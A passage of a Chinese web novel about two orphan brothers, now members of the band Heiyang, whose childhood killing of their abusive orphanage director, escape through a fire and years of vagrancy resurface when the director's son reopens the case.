尧新雪挑起嘴角:“嗯,谢谢你。” 迟天境最后退了出去,顺手带上了门。 五分钟后,当确认迟天境不会再回来后,聚在这里的医生与护士都不约而同地松了口气。 为首的医生轻轻放下了尧新雪的右手,然后鞠了一躬:“我们会尽力想办法的。” 尧新雪点了点头,看向了旁侧无声走出来的尧新橙。 尧新橙的脸色难看,刚刚那群人已经识相地退了出去。 尧新雪坐着,尧新橙乖顺地走过来,将他折起的长袖轻轻放下,盖住右臂,然后整理好。 尧新雪看着他:“你听到了,他已经查到了。” 尧新橙的瞳孔微微颤抖着,但依然一声不吭。 尧新雪用左手勾住了他的颈,让他将头低得更下,这个姿势近得像是马上就要接吻,尧新橙却只感到浑身冰冷。 尧新雪的嘴唇贴着他的耳朵:“小橙,如果他知道,黑羊就完了。” 尧新橙的身体在颤抖,却是因为无可遏制的愤怒,他也咬着牙低声说:“迟桉,罪有应得。” 尧新雪松开了手与他对视,冷淡道:“但他确实死了。” 这个死人如今要讨回一个公道,那把毁了慈济孤儿院的火时隔了十几年依然在燃烧,它如同一个无可摆脱的诅咒、宿命与循环,在让尧新雪因此重获自由与人生后又即将要把他最心爱的乐队、他苦苦追求的理想毁于一旦。 这个念头烧得尧新雪几乎要感到彻骨的痛恨来。 他拧着眉,闭着眼睛,想了很久,最后轻声道:“我们不会停在这里。” 尧新橙站在原地,与尧新雪保持着这个亲密的姿势,他低声回应:“我知道。” 尧新橙之后给尧新雪喂了一碗粥,他看着尧新雪睡下,又坐了好一会才离开。 在轻轻关上门后,他又从兜里的药瓶倒出几颗药囫囵地吞了下去。尧新橙最近越来越难管住自己了,因为过度焦虑与压抑,他的手止不住地痉挛,同时,他的幻听、幻觉也越来越严重了。 在知道迟天境的身份之后,尧新橙甚至动过要杀了他的念头,而这个念头已经随着尧新雪的两次提醒越来越深重了。 这是我们的秘密,嘘,只有我们知道。快跑,快跑。 那时,幼小的尧新雪紧紧抱着他说,而火几乎要烧到他们两个的双脚。 尧新橙的车猛地在马路上停住,引得后面的车不满地鸣笛,但他面沉如水,握着方向盘换了一个方向。 那是他心理医生的方向。 心理医生看到尧新橙走进来的时候,不着痕迹地叹了口气。他在饮水机里倒了杯温水,然后放到了尧新橙的面前,将温和的目光落在尧新橙身上。 尧新橙的长相很显小,他今年二十五岁,却因为一张娃娃脸与偏黄的头发被众多乐迷声称这个吉他手还是个小孩。 医生看到他眼底的一片乌青与布满血丝的眼球,就知道了这段时间他一定休息得不好。 黑羊的主唱、他的哥哥尧新雪遭到绑架并伤到了右手的消息早已被媒体散播了几千万条,唱衰黑羊的声音如今居高不下。 通过过去的治疗,医生早已知悉尧新雪在尧新橙心目中的地位,因此也理解,这个承担了医生五年的治疗费用、来看病的次数却寥寥无几的病人这段时间为什么精神压力大到这个地步。 年过半百的医生早已把他当做了半个儿子,不由得苦口婆心道:“我需要提醒你的是,你的病症现在越来越严重了。你应该逐渐停药,停下手中的一切事物去给自己放松的时间。这类精神药物,对你手的副作用是很大的。我记得,你是乐队的吉他手吧。” 尧新橙原本沉默不语,却在听到“吉他手”三个字后抬起了头。 他“嗯”了一声。 心理医生无奈地笑了下,只要提到关于乐队的事,向来倔强的尧新橙就会变得很听话。 他检查了一下尧新橙的药瓶,又忍不住在心里叹了一口气:“新橙,你又乱吃药了。” 尧新橙没有搭理他,只是说:“睡不好。” 心理医生不动声色地把药收回:“那你在我这里休息一下吧。” 他这里有一把躺椅,是专门催眠用的。 尧新橙的睡眠质量太差,只有在他这里,或是在尧新雪身边,才能睡着。 心理医生按照之前的习惯,先定下了一个小时的闹钟。 尧新橙躺上躺椅,闭上了眼睛。 在缓缓的、极轻的晃悠里,始终精神紧绷的尧新橙终于慢慢地放松了下来,但即使是这样,他的眉依然微微皱着。 尧新橙梦到了迟桉。 在那个办公室里,高大的男人背对着窗,面容模糊不清。 他一手按着尧新橙的肩膀,一边装作温和地问道:“你昨天是不是在我办公室外面,你有没有听到什么?” 尧新橙害怕得浑身颤抖,他不敢说话,只一味地摇头。 男人的手如同鹰爪紧紧地扣着他的肩膀,眼神仿佛淬了毒:“撒谎!” 尧新橙拼命摇着头:“我没有,我,什么,都,没看见……什么,都没,听见……” 但是他惨白的脸色与惊慌的眼神没有逃过迟桉的眼睛,迟桉将他猛地一推推倒在了地上。 男孩如同一只羊羔,被掐着脖子,脸和脖子涨得通红。 尧新橙几乎无法呼吸,无力反抗,他的眼睛翻白,眼眶流出了泪水,在濒临窒息之际听到迟桉那充满厌恶的声音:“撒谎!撒谎!还一直卖不出去,只知道给我添麻烦!” 尧新橙仰着脸,艰难地张着口喘息着,他努力地,努力地侧过了头,眼角又滑落出一滴泪水。 他看到办公室的门被轻轻打开了一条小缝,他与一双眼睛对视了。 ——那是尧新雪。 尧新橙发出断断续续的呜咽,死死地盯着那双眼睛,试图求救。 他的一只手努力地掰着迟桉掐在自己颈上的手,另一只手则努力地向门口伸。尧新橙几乎要昏晕过去,他紧紧闭着眼睛,心脏突突地跳,浑身的肌肉紧绷。 就在他即将失去意识的那一刻,尧新橙仿佛听到了门被推开与毫不犹豫的脚步声,紧接着就是花瓶轰然破碎的声音,烛台也被撞倒在了地上,火焰沿着窗帘一路开始燃烧。 尧新橙捂着自己的喉咙,疯狂地咳嗽着。 等他再次睁开眼睛的时候,迟桉已经倒在了地上。 那个男人的头流了满地的血,眼睛甚至依然在错愕地、憎恨地睁着,他直挺挺地倒了下来,头侧的伤口如同被子弹开出来的洞,汩汩的血从里面涌出。 小小的尧新橙努力地平复着自己的呼吸,他坐起来,有些惊恐地望着迟桉。 可就在下一秒,他就被人抱住了。 那人将他拥在怀里,轻轻地、温柔地拍着他的背:“没事了,没事了,嘘,这是我们的秘密。不要告诉任何人。” 尧新橙撑在地上的手很快就被血染红了,他望着眼前的尧新雪,又一次流下眼泪。 风从打开着的窗灌进来,助长火势越烧越猛。 火舌贪婪地吞食着一切并迅速蔓延,呛鼻的烟雾也早已弥漫在了整个房间里。 少年尧新雪却是这样冷静,他将迟桉办公室里的所有文件全部翻了出来扔到了火里,直到火势开始烧起迟桉的尸体,他才拽着依然在失神的尧新橙跑了出去。 尧新橙被牵着的手染满了血,止不住地在颤抖,他回过头,只见到迟桉还没有完全断气,他努力地抬起手,向着门口的方向。 可烧得极猛的火势咆哮着要将整座房间吞食殆尽,整座书架从旁侧倾倒下来重重地压在了迟桉的身上。 尧新橙哭了,他只听到尧新雪的声音。 尧新雪牢牢地攥着他的手,喊道:“着火了,着火了,快跑啊……”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 尧新雪八岁那年,慈济孤儿院被烧毁了。 他拽着浑身是血的尧新橙,从即将烧塌的建筑里逃出。 尧新雪选择了后门,那是与救援完全相反的方向,拽着尧新橙一路狂奔。 两个人还穿着孤儿院的衣服,是纯白色的过大的长衫与短裤,尧新橙的胸前还有一个巨大的编号,是36号。 那么小的尧新雪牵着这个无名的男孩的手,赤着脚,沿着小路一路狂奔,风灌进尧新雪的喉咙,他感到喉咙的腥甜与干渴。 璀璨的阳光落在他的脸上,表情是这样雀跃与幸福。在过去表现得与同龄孩童不同的成熟、冷静之后,尧新雪在这段奔跑里露出了稚气的快乐的笑。 风吹起他的长发,脚上传来剧痛,手臂被划伤。 可尧新雪依然在不断地往前奔跑着。 满目的阳光与绿意,尧新雪仿佛一只撞进了森林的鸟,一只小鹿,肆无忌惮地向前跑着。 哪怕身后传来尧新橙——36号的哭声,他哭泣着如同一只落水的小狗,尧新雪也始终没有停止。 直到尧新雪真的跑不动了,他才终于往前一倒,36号因为还被他牵着,一下子失去了平衡,也就顺势压在了他的身上,两人一起滚落到了草地上。 36号瑟缩着躲在尧新雪的怀里,两个男孩相互依偎着,他呜咽道:“迟桉,死了……” 尧新雪则抱着他的脑袋轻声道:“没关系。” 他们的距离好近,甚至能看清彼此脸上细小的绒毛。微风轻轻吹动,金色的阳光画着尧新雪的耳朵。 草尖扎到了尧新雪的脖子有些痒,他却懒洋洋地闭上了眼睛。 好半晌后,36号才听到他的声音:“我们不会再回去了。” 36号怔怔地看着尧新雪,尧新雪只如同过去出来玩耍般轻松,他将雪白的手臂挡在了自己的眼睛上,嘴角却微微挑起:“迟桉死了,如果回去,肯定会被抓走的。” 36号想到那个人,就害怕地颤抖:“那,怎么办?” 光辉勾勒着尧新雪的脸庞,他随意地回答道:“我们自己来决定去哪里,我们要离这里远远的。我说过了,想要什么是要靠自己去争取的,无论要付出什么代价。想要不被抓到,那就逃跑吧。” 尧新雪坐起来,他一手按着36号的胸口,隔着一层极薄的衣服,他摸到了36号的肋骨。他只轻轻一推,36号就也直挺挺地倒了下去。 尧新雪俯下身去看他,他却只安静地望着尧新雪流眼泪。 眼泪如同晶莹的露水,在滑过36号的脸庞时,一瞬间闪着璀璨的光。 尧新雪低下头,挡住了刺目的阳光,长发垂落如同藤蔓,看了36号好一会后,眼底的笑意就逐渐褪去:“去把你身上的血洗洗,到时候别被看出来了。” 36号听着尧新雪的话,努力地去搓着手臂上沾到的血污,身上的血迹洗不掉,就用泥巴来掩盖。 两个半大的小孩就这样又一次慢慢地走了起来,如同两只小兽,走在寂静无声的郊外。 很快,他们就走到了第一座城市。 他们现在彻底成为了两个流浪儿。既没有社会身份,且36号甚至没有姓名。 第二天天空下起了暴雨,无数透明的雨珠自天而降,疯狂地砸落在他们的身上。 两个孩子饥肠辘辘,走了一天一夜已经接近极限,最后终于不堪疲惫,随意找了个屋檐坐下躲雨。 尧新雪随手抹了一把自己脸上的脏水,看着陌生的行人来去匆匆。 他们都打着雨伞,甚至无暇分一眼看路边这两个如同野狗般的孩子。 这是尧新雪第一次接触孤儿院以外的世界,他并没有感到人情冷漠或是其他,只是感到格外地新奇。 尧新雪撑着下颌,慢慢说:“你不能再叫36号,不然他们很快就会知道你是孤儿院的人。你给自己取一个名字吧,每个人都有名字。” 36号有些茫然地看着尧新雪,最后又把目光投到了马路的对面。 对面是一个巨大的垃圾场,腐烂、令人作呕的气味在暴雨之下依然浓烈,因为长期无人清理,垃圾几乎堆成了一座小山。 36号定定地望着那里,他只注意到了垃圾山上一个半边腐烂掉的橙子。 那个橙子半边是橙色,半边是青色。 他在那一刻想起来,在很久很久以前,尧新雪曾经在孤儿院分食了一只橙子。 那个橙子和这个一模一样。 那天尧新雪将那个橙子一瓣一瓣地分开,所有孩子都渴盼着能够吃到那瓣橙子,不仅仅是因为他们从来没有吃过,也是因为这是尧新雪给的——这对于他们来说,是一件值得骄傲、庆祝的事。 36号那么瘦,那么小,被挤在人群之外,只能眼巴巴地看着尧新雪被簇拥在中间,看着他手里的橙子瓣变得越来越少。 可就在下一秒,尧新雪仿佛若有所觉般将目光落在了他的身上。36号的心微微颤抖,他却不敢、舍不得错开眼睛,只是与尧新雪对视。 于是,最后的那一瓣橙子落在了他的手心。 在那一秒,36号感到自己的眼眶发酸,眼泪几乎又要涌出来。 他的心跳稍微加快了,怔怔地看着那个烂了一半的橙子,好几秒后,终于艰难地开口:“尧、新、橙。” “嗯?什么?”尧新雪没有听清,挑着眉问。 他转过脸看向尧新雪,一字一顿认真地说:“我想,叫,尧新橙。” 也许尧新雪并不会记得,那天他把橙子都分给了哪些人。这对于他来说只是一件微不足道的小事,只要他想给谁,谁就会得到,只要他想要,就势必要得到。 尧新雪甚至永远不会想到,会有人把这件微不足道的小事放在心上,惦记整整一辈子。 尧新雪有些困了,他说:“好啊。” 于是,他们成了一对没有血缘的兄弟。 在这流浪的两年里,这对兄弟过得很苦。 他们在这两年里必须尽可能地避开监控,避开社会的关注,让追查慈济孤儿院的人真的以为他们死在了那场大火里。 有好心的人想要给他们提供帮助或是想要将他们领养走,但第二天绝对不会再找到他们。 尧新雪和尧新橙如同两只流浪猫,警惕、不近人情、四处流浪。 他们频繁地更换城市,食物来源要么是垃圾场里翻来的,要么是饭店里别人的剩饭剩菜,要么就是别人看他们可怜施舍下来的。 短短一年内,本就瘦弱的两个孩子迅速地瘦成了皮包骨。 哪怕慈济孤儿院的风头逐渐过去,尧新雪也始终保持着警惕。 尧新橙并不知道原因。 他只是每一晚每一晚守在尧新雪的身边,无论风吹雨打。 在饿极了的时候,幼小的尧新雪会摸着胸口上那块红色的、有着眼睛纹理的石头。 他深信不疑着“小狐狸会爬到山顶”那个故事,每当摸到那块石头,他仿佛就又能咬咬牙,坚持下去。 在孤儿院的时候,曾经有一个美丽的富家女人想要来领养走一个孩子。 所有人在那一天都站成了几列,挺直了腰板,试着面露微笑以得到青睐。 那个女人来时仪态端庄,却双眼通红,是化妆也难掩的脸色憔悴。 尧新雪也站得笔直,他想要被领养走,他不能一直待在这个地方。 女人的目光流连过好几个孩子的脸,高跟鞋踩在地上的声音极缓,“嗒”、“嗒”地犹如钟响。 尧新雪微微侧过了头,看向了那个漂亮的女人。 他弯起眼睛,露出了一个可爱的、完美的笑容。 女人停在了他的面前,蹲下身,与他平视,她抬起一只手,轻轻地抚摸着尧新雪的脸庞。 女人的眼睛红肿,仿佛含着将掉未掉的泪水,哑声道:“真好看的孩子。” 尧新雪保持着微笑,他甚至歪了歪头,像是一只幼猫,主动用温热的脸颊蹭了蹭女人的掌心。 女人被他的举止逗笑了,眼角闪烁着泪花,指腹轻轻地碰了碰尧新雪的脸后又重新站了起来。 她看向了下一个孩子,那是另外一个平凡的、毫不起眼的男孩。 女人拉起那个男孩的手,避开了与尧新雪对视。 她对迟桉说:“就这个孩子吧。” 迟桉只看了那个男孩一眼:“好。” 嗒、嗒、嗒。 女人的鞋跟踩在地上,渐行渐远,有如钟响。 没有人注意到的是,尧新雪的嘴角在那一刻撇了下来,他定定地看着前方,变成了面无表情。 一种说不明、道不清的复杂感情在那一秒生根在了尧新雪的心底。他品尝到了微妙的、被抛弃的滋味。 尧新雪,第一次成为了不被选择的那一个。 他深深地呼吸着,以此来缓和面上的表情与内心一瞬间的失控。他咬紧牙齿,眼神淡漠,也在这之后决定了要将选择的权利牢牢紧攥在自己的手里。 在逃离了孤儿院之后,在确保了自身的安全之后,尧新雪才可以重新开始考虑领养人的问题。 尧新雪想要拥有自己的乐队,想要让这支乐队走向世界,那他就势必要得到足够的金钱支持与音乐教育。 那么这个人就必须富有,必须无私。 尧新雪捏着这块石头,最后缓缓闭上了眼睛。 第102章 尧新雪和尧新橙流浪的第二年,尧新雪九岁。 那天正是初春,天气还非常寒冷,尧新雪拉着尧新橙的手,缓缓呼吸时会有白雾。 尧新橙能感觉得到他身上明显的变化,尧新雪在这一年里变得更沉着、冷静,更像一个大人了。即使他是那么瘦削,因为营养不良,宽大的衣服能长得垂到地上。 但尧新雪也依然那么漂亮,好看,哪怕沦落到这个境地,也总是能吸引到旁人的目光。 他们在这一年里也染上了盗窃的陋习,无师自通了所有小偷的技巧。 当然也会有人对尧新雪图谋不轨。 一个可怜的、肮脏的小孩,站在路边,及肩的长发带着一点卷,身上过大的衣服露出一小节雪白的肩膀,眼睛炯炯有神。 总是会有人试着把他骗走。 小小的尧新雪则会仰起头,故作天真地弯起眼睛笑,然后主动地牵上那人的手。 他会很多说辞。 “我的小熊玩偶在那里,我得拿上才能跟你走”、“我的弟弟在那里,我不能丢下他”、“我可以跟你回家吗”诸如此类的话语从他的唇里说出时,别人就常常无可奈何地点点头,给下了应允。 于是尧新雪牵着男人走到没有监控的小巷,走过散发着臭味的垃圾桶。直到男人失去戒备心,尧新橙就会拖着一根铁棍,从背后狠狠地、无比准确地敲上男人的脑袋。 钱、衣服、能倒手卖出去的香烟与打火机。 这个人身上一切可以被利用的东西都会被尧新雪顺走,然后他们再趁男人没醒时逃跑。 尧新雪居高临下地看着倒在地上的男人,眼底有着毫不掩饰的厌恶与嘲讽。 此刻两个孩子一前一后地走着,坐在了一级台阶上,又一次百无聊赖地观察着路上的行人。 一个衣衫褴褛的老乞丐攥着一个酒瓶,摇摇晃晃地走了过来。 他喝醉了,因为余光瞥到了路边的这两个孩子,于是又站住了。 这是一个老头,浑身脏污,甚至散发着些许臭味,因为脸庞已经黑得不成样子,所以哪怕他定定地看着尧新雪,尧新雪也毫无触动,他没有感到害怕似的,只安静地回望着老乞丐。 尧新雪并不觉得他的目光下流或猥琐,那个老人只如同一只大狗,怔怔地看着他们的方向,倒是尧新橙警惕地挡在了尧新雪的面前。 尧新雪最后想了想,勾起嘴角笑了笑。 但老乞丐只站了一会,就离开了。 尧新雪没往心里去,带着尧新橙徘徊在垃圾桶或是饭店的后门找吃的,大半天没有收获,就又坐回了台阶上。 尧新雪蜷在角落里,身上盖着一件明显不合身的大外套,闭着眼睛睡觉,好几秒后就闻到了食物的香气。 他无声地睁开了眼睛,看着老乞丐拿着两碗满满的饭。 尧新雪只盯了那两碗饭几秒,就走了上去。 尧新雪垂下眸,他饿得头昏眼花,却镇静道:“给我们的吗?” 老乞丐猛点头,他把饭碗塞到尧新雪的怀里,然后努力地做着手势,嘴里只能啊、啊地叫着。 尧新雪才意识到他是个哑巴。 两个孩子颠沛流离了这么久第一次吃到饭,连尧新雪也顾不得其他,开始狼吞虎咽。 他像一只饿极了的野猫,埋头吃着那碗米粒已经冰冷变硬的饭,即使吞咽的动作让他的喉咙很痛,但他依然没有停止,生怕下一秒就没得吃了似的。 尧新橙同样狼吞虎咽,但是吃完后依然戒备地望着那个老乞丐。 后来,老乞丐也会陆陆续续地给他们送来一些吃的,像是把他们当成了什么小猫小狗,想要把他们两个养活。 老乞丐不再花钱喝酒,而是认真地捡废品,卖纸皮。没有人知道这个老乞丐的名字,因为他既不会说话,也不会写字。 尧新雪会带着尧新橙去乞讨,捡吃的。他长得好看,楚楚可怜,又带着瘦弱的弟弟,人人都心疼他,愿意施舍他。 也有不顺利的时候,实在讨不到捡不到时,尧新雪就会带能卖的垃圾给老乞丐,他知道这些能够换钱。 而钱能够买到吃的。 他们三个一起住在了老乞丐用废弃木板搭起的棚子下,在进入最冷的冬天时,两个小孩就会披着老乞丐宽大的衣服,蜷缩成贝果的样子,相互拥抱着取暖。 那个冬天寒冷又漫长,他们冻得嘴唇发紫。 当尧新橙以为他们会就这样安定下来时,命运的时钟又一次敲响了。 有一天,老乞丐浑身是血,居然是爬着回来的。 他浑身是伤,血块已经凝结,脸上一边青、一边白。 尧新雪坐在棚子里,坐在宽大衣服上,冷漠地看着这一幕。 只有尧新橙的双手微微颤抖。 老乞丐看到他们,绽露出一个会心的微笑,他慢慢地、艰难地伸出手,递出了一个完好的色泽鲜亮的橙子。 然后,他就咽气了。 尧新雪看到那个橙子骨碌碌地掉在了地上,掉在了泥里。 很久之后,尧新雪才开口说:“他死了。” 尧新橙很茫然地“嗯”了一声。 尧新雪没有什么感觉,老乞丐的死犹如一块石头砸进了平静的湖面,只晃出一圈圈涟漪,就销声匿迹了。 他人的性命在他的眼里,称不上是什么值得嚎哭的事。 尧新雪定定地看着这具尸体,有几秒,他饿得想要把这具尸体吃下去,想要嚼烂那人的肉以充饥。 好久之后,他才偏开了目光,和尧新橙分了那只橙子。 夜晚,尧新雪又一次被冻醒,他蜷缩着,按住自己抽痛着的胃,脸色发白。 他摇醒尧新橙说:“走,我们去找吃的。” 尧新橙懵懵懂懂地爬起来,跟着他走了出去。 他们一前一后地走了很远很远的路,尧新橙甚至快要觉得,他们会冻死或饿死在路上,可尧新雪依然在走着。 尧新雪的牙齿冻得颤抖,他听到了小提琴的声音,冥冥之中,这仿佛是命运降下的一道指引,催使着他循着声音不断前进。 他们终于在郊外看到了一栋别墅。 只是用手贴着窗上的玻璃,都能感到截然不同的暖意。 尧新雪踮着脚,贴近了那面玻璃,看着里面的光景。 别墅里面的装潢华丽,所有人都穿着得体,仪态优雅。璀璨如鎏金的灯光自头顶降落,站在人群中央的是一个穿着西装的男孩。 他的肩膀上架着一把小提琴,琴弓划过琴弦流出优美的乐音。 尧新雪定定地望着那一把琴,一动不动,在听着这段乐音的时间里,他仿佛忘掉了饥饿与寒冷。 尧新橙能看到,尧新雪的眼睛在闪着光。 尧新雪的心脏砰、砰地跳着,仿佛一层层海浪不断地席卷而来,他有一瞬间放轻了呼吸,目光一错不错地落在那把漂亮的小提琴上。 一曲终了,那个男孩腼腆地笑了笑,他收好小提琴,微微弯了下腰,再抬起眼时,就毫无预兆地与尧新雪对视了。 尧新雪不躲不闪,也直直地望向他。 有人靠近了窗台,尧新雪便躲了下去。 他实在是饿得发晕,于是先拉着尧新橙去摘后院的玫瑰花。 尧新雪太饿了,嚼烂玫瑰的花瓣,哪怕是苦的,也依然没有停下,过了很久之后,他听到了一重一轻的脚步声。 漫天的细雪无声地落了下来,他捏着一瓣花瓣,朝着来人露出一个乖巧的笑容,他说:“小少爷,你拉的琴真好听。” 尧新雪的眼神里适时地流露出些许脆弱,雪化在了他脏污的掌心,他将手背在了身后,仿佛感到难堪似的。 那个原本站在人群中央拉小提琴的小少爷怔怔地看着他,一手握着拐杖。 他的身边有很多人,有人为着他撑伞。 但尧新雪始终不卑不亢,甚至微微抬起脸来与那人对视。 尧新橙一动不动,他知道,尧新雪想要做什么。 那人果不其然,一瘸一拐地走了上来,他脱下了自己的外套,将尧新雪笼在了怀里,声音甚至微微颤抖:“你叫什么名字?” 尧新雪在这个怀抱里感到久违的温暖,他弯起眼睛,长睫毛掩去那点计划得逞的狡黠,回答道:“我叫尧新雪。” “新雪,跟我回家吧,好不好?” ……好。 尧新橙也被一人用外套盖着抱了起来,他注视着与那人并肩走着的尧新雪,他知道,这就是尧新雪要的领养人。 富有,无私,甚至懂音乐。 黑色的伞下,西装外套稳稳地披在尧新雪的身上,纷飞的飘飘扬扬的大雪全部被细致地挡了下来,他的肩膀上没有落下一片雪花。 尧新橙明白,他们相依为命的日子彻底结束了。 尧新雪回头看了他一眼,然后露出了一个极浅的笑容。 没有人知道的是,当晚在他们睡在了更新、更大的别墅之后,尧新橙瞒着所有人跑了出去。 他在那个雪夜不断地跑着,跑回到了原来与老乞丐一起生活的那个木板棚下。 尧新橙拖着那个老乞丐的尸体,把老乞丐埋在了郊外的树下。 第103章 三个月后,宋燃犀身上的伤终于好得差不多了,得益于他最后的选择,应怜其实并没有收到什么伤害,只是受到了些许惊吓。她只是脸色苍白,在得救之后泪流满面。 宋燃犀瞒下了这件事与尧新雪有关,应怜仅仅知道他们家遭到了绑架,但是还好警方及时赶到了。 当她手里握着佛珠,含泪低声道:“感谢上天保佑,我们大难不死”时,宋燃犀一言不发。 只有他知道,尧新雪为此付出了什么代价。 这个世界上只有宋燃犀能完全理解,尧新雪失去了什么。 让尧新雪的一只手换应怜的一条命,这就是上天给他的报复吗? 这多残忍。宋燃犀宁肯钟鸣在那时砍掉他的双手双脚,也不愿意牺牲这两个人之中的任何一个。 宋燃犀的胸口闷痛,他打起精神安慰了一下应怜,就准备去面见私人医生。 躺在病床上的三个月,只要他醒着,就是在问林译特效药的研制、新医师的治疗方案是否有进展,他不惜重金,精神状态好一点的时候就和医生开会讨论,不是为了自己,而是为了医治尧新雪的手。 他见过一次尧新雪,当他看到尧新雪的眼睛,所有刻骨的想念、愧疚、痛苦、爱仿佛都在那一瞬间凝结着堵在了他的心口。 宋燃犀甚至不敢看尧新雪的眼睛,他害怕看到尧新雪的憎恨与失望,可是尧新雪只是勾着他的颈道:“一切都结束了。” 我们完了。 一切都结束了。 尧新雪没有说恨他,没有说滚,只是轻轻地告诉他结束,宋燃犀感到了锥心的痛意。 在车祸毁容后,他面对着尧新雪会感到一种难堪的自卑,他疯狂地喊着我恨你,尧新雪,自欺欺人地将这场天降的灾祸推到尧新雪的头上,又一边止不住地流泪,因为他在内心深处知道着,一切都是他自己造成的。 是他的错,是他自己害死了宋洲,是他害得自己毁容,是他自己断送掉了演员的事业。 但无论是谁的错,宋燃犀无论如何都无法做到,像之前那样与尧新雪重归于好。他有多爱尧新雪,就有多犹疑,多痛苦,多难堪。 后来尧新雪说,车祸算什么时,尧新雪说,宋洲死了就死了时,宋燃犀才真的有了那么一丝的恨意,但那点恨意也依然稍纵即逝,只是他内心残留的那份悲哀变得多一点,绝望多一点。 他将那枚戒指丢了出去,其实是想要告诉自己放下。 再后来,是钟鸣的绑架,宋燃犀在做出选择的那一刻就知道,他这次真的、真的永远失去了尧新雪。伤害尧新雪那如潮的愧疚感与痛苦从头顶没过来,如同一个响亮的巴掌。 过去他对尧新雪的那些私有的悲哀也好,绝望也好,怨恨也好,这些情感很快就全部都被因舍弃尧新雪的手而产生无休止的全部悔恨与愧疚取缔了。 他从来做不到对尧新雪铁石心肠,只会有加倍的愧意和痛苦。 为什么,他们两个会变成现在这个样子? 宋燃犀看着车窗外逐渐流逝的风景,他感到呼吸困难般降下了车窗,揉了揉眼睛,终于在车停之前,整理好了表情- 尧新雪还待在医院里,因为右手始终没有得到根治,他总是反复发烧,生病。 诸多的并发症拖垮了他的身体,很快,尧新雪就已经无法坚持长时间的站立,无法依靠着自己走到很远的地方。 尧新雪的情绪逐渐不那么稳定,他现在很烦躁,体重不断地在减轻,坐以待毙的感觉让他感到自己的生命如流沙,既脆弱,又是那么不可控。 而尧新雪最讨厌事情不受控制的样子。 在面见了无数医生,却只能得到无关痛痒的一句再缓缓时,他会冷着脸闭上眼睛,一言不发。 尧新橙为了逗他开心,把那只蓝瞳的波斯猫带到了病房里。 这时,尧新雪的脸色才会稍微好一点。 尧新橙安静地守在他的身边,看着他把脸埋进猫的肚皮上。 柔软的猫咪乖乖地四肢摊开,蓝色的眼睛如同两颗水晶。 迟天境猛地推开了房门,即使有着几个医生和保安阻拦,他却仍然如同石头般站在那里,哪怕满头大汗,也死死地盯着尧新雪。 “我有话想跟你说。”迟天境最后咬牙切齿道。 尧新雪本来已经非常虚弱,他脸色苍白,听到声音只抬头看了一眼迟天境。 他怀里的猫却被吓了一跳,翻身蹦起来,注视着来人,弓着背竖起尾巴,朝着迟天境哈气。 尧新橙黑着脸,想要走上两步挡住迟天境。 迟天境却纹丝不动地站在原地,眼瞳里几乎冒着火,表情狰狞。 尧新雪淡淡地说了一句:“小橙,出去吧。” 尧新橙不甘心地看了尧新雪一眼,他刚想开口,却收到了尧新雪警告的眼神。 尧新橙僵在了原地,最后只能听话顺从地抱上那只浑身炸毛的波斯猫走出去,然后关上了房门。 尧新雪不愿装的时候,神色会很冷,仿佛看什么都带着厌倦的意味:“什么事?” 迟天境沉着脸走向前,低下头与尧新雪对视:“是不是你杀了我爸爸?” 尧新雪笑了,半垂着眸,目光扫过他气得颤抖的唇,挑了挑唇角:“你的爸爸是?” 迟天境猛地扣住尧新雪的颈,将他的头抵在了墙上,尧新雪因为突然的撞击闷哼了一声。 迟天境因为这句话彻底恼火了起来:“别装了,我爸是迟桉,就是你的院长迟桉!” 尧新雪无力回应,他只抬了抬嘴角,讥诮又轻蔑。 可迟天境还是松开了手,他先是本能地为自己的冲动感到懊悔,然后才缓缓地冷静下来。 迟天境看起来很疲惫、颓唐,一瞬间仿佛被抽掉了所有力气和手段:“现在有很多证据指向你,只要再有一个人……这件案子就能重审,而你会被列为犯罪嫌疑人。新雪,是你吗?” 迟天境有些痛苦地抓着自己的头发,他低下头,眼球通红。 重查孤儿院的这件旧案是他一直以来的心愿,他渴望还给迟桉一个真相,渴望将杀父凶手绳之以法,可是事到如今,心心念念的愿望真的实现时,他却一点都笑不出来,每靠近真相一步,就仿佛多一把刀在他的心脏上剜着。 尧新雪。尧新雪。 为什么会是尧新雪? 如果不是尧新雪,为什么当年的他要逃跑,为什么钟鸣看到他从迟桉的办公室里出来,为什么?为什么? 迟桉对尧新雪做了什么? 尧新雪看着他的表情,最后轻声道:“不是我。” 迟天境有些难看地笑了一下,他显然并不相信这套说辞。 重案组的人还原了当时的场景,以迟桉这样的身高,如果是孩子杀人,就必须是处于卧倒的状态。 一个孩子被迟桉扑倒在地上,在挣扎的过程中,随手抓到了什么,猛地砸向了迟桉的太阳穴,就这样,迟桉倒下了。 只有这种可能。 过去的老师、孩子都看到这个孩子走进了迟桉的办公室;这个孩子会很瘦弱,让迟桉毫无防备;这个孩子在孩子之间有着非凡的领导能力,一呼百应,人人听到他的声音就开始狂奔着逃跑;这个孩子在火灾后销声匿迹,毁掉了关于孤儿院的所有资料。 仅仅是勾勒着这个孩子所行的事迹,竟然都与尧新雪的所有经历、性格相吻合。 尧新雪注视着迟天境,眼神却无比冷静,他重复了一次:“不是我。” 他很轻地叹了口气,再次睁开眼看着迟天境时,眼底已经多了一层怜悯,盖过了那一闪而逝的阴戾。 迟天境现在查到了哪里?他对当年的事知道了多少? 但是无论如何,尧新雪都不能和犯罪扯上一点联系。因为一旦被扣上这顶帽子,那就这辈子都洗脱不清。 黑羊目前为止积攒的名声会全部毁于一旦,化为乌有,过去十几年所做的一切努力都将付诸东流,而尧新雪绝不会允许这样的事发生。 他望着迟天境,在那苍白美丽的脸却看不到任何复杂的情绪。 两人无声地对峙着,迟天境最后避开了他的眼神,站起身来,想要将落在尧新雪额前的发轻轻撩开。 却没想到,尧新雪偏过头咬住了他的手掌。 迟天境的手颤了一下,却没有收回去,他沉默地看着尧新雪,尧新雪却始终没有松口。 极轻的痛意从掌心传来,迟天境的眼睫毛微微颤抖。 但尧新雪其实咬得并不重,也许是因为生病,他现在根本没有什么力气。他死死地盯着迟天境的手指,过了好久,才缓缓松了口。 看着这样的尧新雪,迟天境的心感到钝痛,他深深地呼吸,紧紧地扣着自己的双手,眼睛通红,低声道:“我已经……不知道能不能再信任你了。” 迟天境兜里的手机开始震动,迟天境当着尧新雪的面,看都没看,就接通了:“什么事?” “天哥,抓到王军了。” 第104章 “那天我们在打电话,有一个小孩出事了,货没交到买家手里,迟桉大发脾气。” “他在那时看到了门外,讲了句脏话,告诉我,有人在外面,是个小孩。” “那个小孩可能听到了我们的对话。” 